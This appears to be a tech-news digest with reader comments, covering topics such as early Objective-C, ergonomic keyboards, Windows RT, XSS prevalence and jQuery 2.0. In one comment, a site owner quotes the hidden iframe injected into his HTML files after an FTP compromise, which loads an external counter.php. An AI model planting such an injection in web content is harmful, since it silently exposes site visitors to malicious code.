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OK, I have to admit that I actually missed the party. Brad Cox first described his “Object-Oriented pre-compiler”, OOPC, in The January 1983 issue of ACM SIGPLAN Notices. "This describes the Object Oriented Pre-Compiler, OOPC, a language and a run-time library for producing C programs that operate by the run-time conventions of Smalltalk 80 in a UNIX environment. These languages offer Object Oriented Programming in which data, and the programs which may access it, are designed, built and maintained as inseparable units called objects." Notice that the abstract has to explain what OOP is: these were early days at least as far as the commercial software industry viewed objects. From SmallTalk to Nextstep to iOS. [Many Happy] returns;
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Back in late January, I received the TECK for review, a keyboard that goes by the not-so-humble name of “Truly Ergonomic Computer Keyboard”, manufactured by a company that likewise uses the name Truly Ergonomic (hello name space collision). I’m sure other companies that make ergonomic keyboards might take exception to the name, but as far as I’m concerned that’s mostly marketing. The real question is how the TECK fares in day-to-day use, and whether it’s really a better keyboard for serious typists—and particularly typists like me that suffer from carpal tunnel syndrome (CTS)—compared to the other options. Is it good enough to give up your beloved Microsoft Natural keyboard?
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What the hell is that, were the designers drunk?
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Windows RT was/is positioned to be a variant of the Windows platform that is lightweight, offers great battery life, and has a terrific out of the box experience by shipping with Office pre-installed. One of the arguments behind Windows RT was that Intel was not able to scale its CPUs down quickly enough to be power efficient and at the same time, ARM had found ways to scale up its designs at a rapid pace to compete with Intel in the low-price market. In theory, it sounded great, ARM based devices would dominate the low-end market (netbook-ish category of devices) and Intel/AMD would fight in the upper regions for those who wanted proper Windows 8 and the ability to run legacy applications. While good on paper, this separation has yet to appear in the market. Intel’s ability to scale down versus ARM’s ability to scale up.
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Back in September, we released the Twitter REST API v1.1 and announced that API v1 would be retired in March 2013.
March 5th has come and gone, but if your Twitter integration is still working you may just have missed the blackout test. On a related note, the creator Twitterizer has announced he's abandoned his baby and recommends other libraries, like TweetSharp.
I'm happy to report that I am fully compliant with the new Twitter API. Well, until Twitterizer was abandoned. #Damn
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MegaUpload founder Kim Dotcom has the right to sue New Zealand's spy agency for illegal surveillance, a court ruled Thursday.
The New Zealand Court of Appeal rejected the attorney general's request to exclude the Government Communications Security Bureau (GCSB) from Dotcom's lawsuit. The GCSB collected intelligence on Dotcom ahead of the 2011 raid on his house to determine whether he posed any danger to the police who would later swoop in by helicopter to arrest him.
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Cross-site Scripting remains one of the most common vulnerabilities found during web application security assessments, I can safely say from my experience professionally performing security code review for tens of ASP.NET applications, the average for me has been at least 9 out 10 web applications had one or more cross-site scripting issues. There are several reasons for the prevalence of this beast. While the lack of input validation and output encoding remain the top two reasons to blame for the dominance of cross-site scripting. The developers’ unfamiliarity with the differences between HTML contexts could definitely score the third place in the list of top reasons. It's not that hard once you know where to look.
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Interesting timing for this article. I have spent the last two days recovering from one of these attacks. One of my FTP accounts was compromised and the result was this appended to any html file:
<iframe src="http://nymannmadsen.dk/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>
They also left me with a new counter.php file and reference to others that were automatically deleted.
The iframe was very sneaky indeed. Agent Ransack found references to the address in my temporary internet files. Two of the pesky buggers refused to be deleted since they were 'in use' by IE...  but I had no browser running?..or did I? Process Monitor showed two instances of IE running...ahh, the invisible iframes where I had unwittingly opened infected pages from the day before, when I knew there was a problem. I killed the processes and 86'd the offending files.
I have since changed the password on the compromised ftp account and added some extra security measures in IIS to mitigate future attacks. (Dynamic IP Restrictions and Request Filtering)
"Go forth into the source" - Neal Morse
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I know a guy who got arrested after doing that to over 600 websites. He stole about 500 TB of personal data, and sold it. And this guy was a high school freshman! Who was failing his classes! 
R3J5cGhvbnMgYXJlIGF3ZXNvbWUuIEdyeXBob25zIHJ1bGUh
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Is one framework really better than the other? Different strokes for different folks, I suppose. If you're looking for a lightweight, high-level JavaScript / HTML5 framework then I'd certainly recommend Impact. Once you learn some of the quirks, it is easy to prototype with, and removing the need to compile each time you want to make a change is a blessing. Something I didn't cover before is Injection. Interesting options if you're confused about the future of XNA.
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In the 1990s, Web developers had to test their markup on Netscape Navigator and Internet Explorer (IE). Eventually IE won out (it was even the official browser on the Mac, for a time), and developers could effectively target a single rendering standard. Firefox, Safari and, later, Chrome changed that, forcing developers to test their HTML on multiple browsers once again. But it's a fair bet that most developers would prefer a single standard. Opera's decision means that just such a single standard could emerge, and WebKit could be it. There are still enough flavors of WebKit that you'll have to test and test and test...
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There are many different data structures used in databases to create indexes used to quickly evaluate queries. Each one has different strengths and weaknesses based on the tradeoffs they make on memory, cpu and storage (if persisted). One of these types of indexes is called a bitmap index. For the purpose of this post I’m going to be using relational database terminology but the same techniques can apply to different database types like column oriented databases or many others non-relational databases. Kelly Sommers continues her deep dive into database internals.
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Though technically links aren't a requirement to make the internet function (you can get by on just urls), they are the primary reason why the web took off so gloriously. Linking is an essential part of every web page out there, without links we would be copying urls the entire time (or we wouldn't because who likes to work like that). But the implementation of links (the html a-element) has been broken since the very beginning of the web and with the addition of block-level links things only got worse. Click the link to read more. I bet it works.
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When you buy a Raspberry Pi, the $35 computer doesn't come with an operating system. Loading your operating system of choice onto an SD card and then booting the Pi turns out to be pretty easy. But where do Pi-compatible operating systems come from? With the Raspberry Pi having just turned one year old, we decided to find out how Raspbian—the officially recommended Pi operating system—came into being. The project required 60-hour work weeks, a home-built cluster of ARM computers, and the rebuilding of 19,000 Linux software packages. And it was all accomplished by two volunteers. A Linux distro tailor-made for Pi's floating-point prowess.
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“Should I join Microsoft or a startup?” As the co-founder of a profitable startup and a former Microsoftie, I hear this question a lot, especially from college students ready to start their careers. In tech cities like Seattle and San Francisco, we’re quick to jump on the pro-startup bandwagon. Robert Scoble advises: “Join a startup. You will learn more there and have a bigger impact. Later, when you have a family and a mortgage, you can take the safe route.” But this advice ignores the advantages—like knowledge, confidence, and money—to working for a Microsoft, Google, or Amazon first. You've got to ask yourself one question: Do I like ramen?
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Roku 3 is the latest in a long line of set-top boxes that date to the days when TVs had but 13 channels you could see only after fiddling with a pair of rabbit ears wrapped in foil. (Ask your grandparents. They’ll tell you all about those dark days.) Now we have set-top boxes -- most of which actually sit under your ultra-thin HDTV -- that let you watch DVDs, stream video and play games, often from a single gadget. Ain’t progress wonderful? Here’s a look back at the set-top boxes that have allowed us to kill time with ever greater efficiency.
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Google's Chrome OS, thanks to the growing popularity of Chromebooks, is being used by more and more people. Many people know that Chrome OS has a Linux foundation. But how Chrome OS developed from Linux, and exactly what is in Chrome OS today, has been something of a mystery -- until now. Google OS? Ubuntu? Gentoo? Nobody seems to agree.
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VARIETY is the spice of life, though not if you are the maker of an ageing internet browser maker losing ground to your younger, nimbler competitors. Microsoft, maker of the Windows 8 operating system and the Internet Explorer web browser, has been fined €561m ($732m) by the European Union’s antitrust regulators for breaking a promise to offer its customers a choice of the browser they would like to use to surf the internet on their personal computers. In February 2009 64% of all desktop computers used Internet Explorer.... Four years on, that share is only 30%.
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A new Chrome extension[^] (god.js) lets you write your own commandments for browsing.
Now you can protect your delicate eyes from any mention of V***** B****!
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TTFN - Kent
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Interesting that jQuery 2.0[^] won't support IE 6-8. One of the sites I do work on (not CP) those still contribute about 15% of traffic.
Still, looking forward to the custom builds feature. Looks like it might be useful to tighten up the file sizes.
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TTFN - Kent
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Kent Sharkey wrote: Still, looking forward to the custom builds feature. Looks like it might be useful to tighten up the file sizes.
I'm having trouble imagining scenarios where that would be of any real value. The full version is under 30KB. And the opportunity to serve up the full version via a CDN is even better.
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I agree for the majority of cases, the CDN version is the best. Where I see custom builds as being handy would be mobile sites (where even 30K can be costly) - stripping out arcane or deprecated features would limit the download time (and cost).
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TTFN - Kent
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Kent Sharkey wrote: Interesting that jQuery 2.0[^] won't support IE 6-8. One of the sites I do work on (not CP) those still contribute about 15% of traffic.
Fortunately for that site you'll still have jQuery 1.9; which will be maintained with the full set of horrible legacy IE hacks needed to allow it to be used like a standards compliant browser. Jquery themselves say they expect most people will keep using 1.9 for the next few years for public access websites.
Did you ever see history portrayed as an old man with a wise brow and pulseless heart, waging all things in the balance of reason?
Is not rather the genius of history like an eternal, imploring maiden, full of fire, with a burning heart and flaming soul, humanly warm and humanly beautiful?
--Zachris Topelius
Training a telescope on one’s own belly button will only reveal lint. You like that? You go right on staring at it. I prefer looking at galaxies.
-- Sarah Hoyt
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Microsoft needs to improve customer engagement, dramatically. And the first thing that will take is to recognize that the consumer teams’ attitude towards communicating futures is just plain wrong. That doesn’t mean abandonment of controlled information release, it means applying it more intelligently. It means disclosing platform direction early. It means bringing developers on board early. It means giving general technology direction to the public early (ala what BillG used to do) without talking specific releases or products. It does not mean releasing every detail of a product in advance. Now I get it, the Consumer guys at Microsoft are just plain wrong!
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When I recommend learning Haskell to the uninitiated, I often get asked: “Why Haskell?” “Is it a practical language?” and ”Is it something I can actually use?” My answer is definitely yes. Haskell isn’t my primary language at work (I mostly write C code for embedded systems), I’ve still found it incredibly useful. And even if I never used Haskell at work, I would still consider learning it as time well spent. So, why Haskell? It turns out Haskell is a very powerful tool for helping you write C.
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